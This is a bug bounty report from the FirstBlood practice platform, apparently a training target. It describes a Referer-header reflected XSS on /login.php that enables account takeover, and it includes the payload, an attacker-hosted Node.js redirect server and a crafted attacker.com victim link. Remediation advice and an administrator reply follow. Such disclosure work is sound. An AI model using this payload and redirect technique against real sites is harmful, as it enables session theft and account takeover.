FirstBlood-#637 — Referer Based XSS on /login.php endpoint leading to ATO
This issue was discovered on FirstBlood v2
On 2021-10-26, holybugx Level 5 reported:
Description
Hello Sean,
The /login.php
endpoint is vulnerable to Referer-based XSS which leads to account takeover. Previously there was an XSS possibility on this endpoint using the ref
parameter. The developer properly fixed that vulnerability. However this time, the Referer
header is reflected without sanitization on the /login.php
endpoint, which results in another XSS.
Steps To Reproduce
- Open the
/login.php
endpoint and click Secure Login
, and you will face the Return to previous page
button:
- Use the following payload as the
Referer
header value, and observe the response:
'onmouseover=alert(document.cookie)//
The Referer value is reflected without proper sanitization in the source code. Hover your mouse over on the Return to previous page
and XSS executes:
Exploitation
As this is a Referer based XSS, the exploitation scenario is different. The attacker hosts the following Node.js code on his server:
const express = require('express');
const app = express();
app.get('*', (req, res) => {
res.set('Referrer-Policy', 'unsafe-url');
res.set('Content-Type', 'text/html');
res.end('<script>location.replace("target-url");</script>');
});
app.listen(80);
Then the attacker gives the following link to the victim:
http://attacker.com/test'onmouseover=alert(document.cookie)//
- The server handles the requests and response with
<script>location.replace("target")</script>
.
- In the redirect request the
referer
will be set to http://attacker.com/test'onmouseover=alert(document.cookie)//
- The
referer-policy
is needed because modern browsers don't pass referer
with a path by default (only origin) for cross-domain navigation.
After the victim hovers the mouse over the Return to previous page
, the XSS executes.
Impact
- XSS leading to various user's account takeover.
Remediation
- Implement proper sanitization of the
Referer
header.
- Set
httponly
cookies so that javascript can not access the cookies.
- Remove/Expire the
drps
cookies after logging out.
Kind Regards,
HolyBugx
P3 Medium
Parameter:
Payload:
FirstBlood ID: 19
Vulnerability Type: Reflective XSS
The parameter ?ref= on login.php was fixed and instead the use of
$_SERVER['HTTP_REFERER'];
was used. Patrice tested in Chrome and Firefox and saw it was secure, but some users still use Internet Explorer 10 (governments for example!) and the Referer header is vulnerable to reflective XSS.
Creator & Administrator
Nice find, thanks for providing a working PoC. Actually though from my testing I am only able to reproduce this on IE and the ' character is encoded for me on latest versions of Firefox and Chrome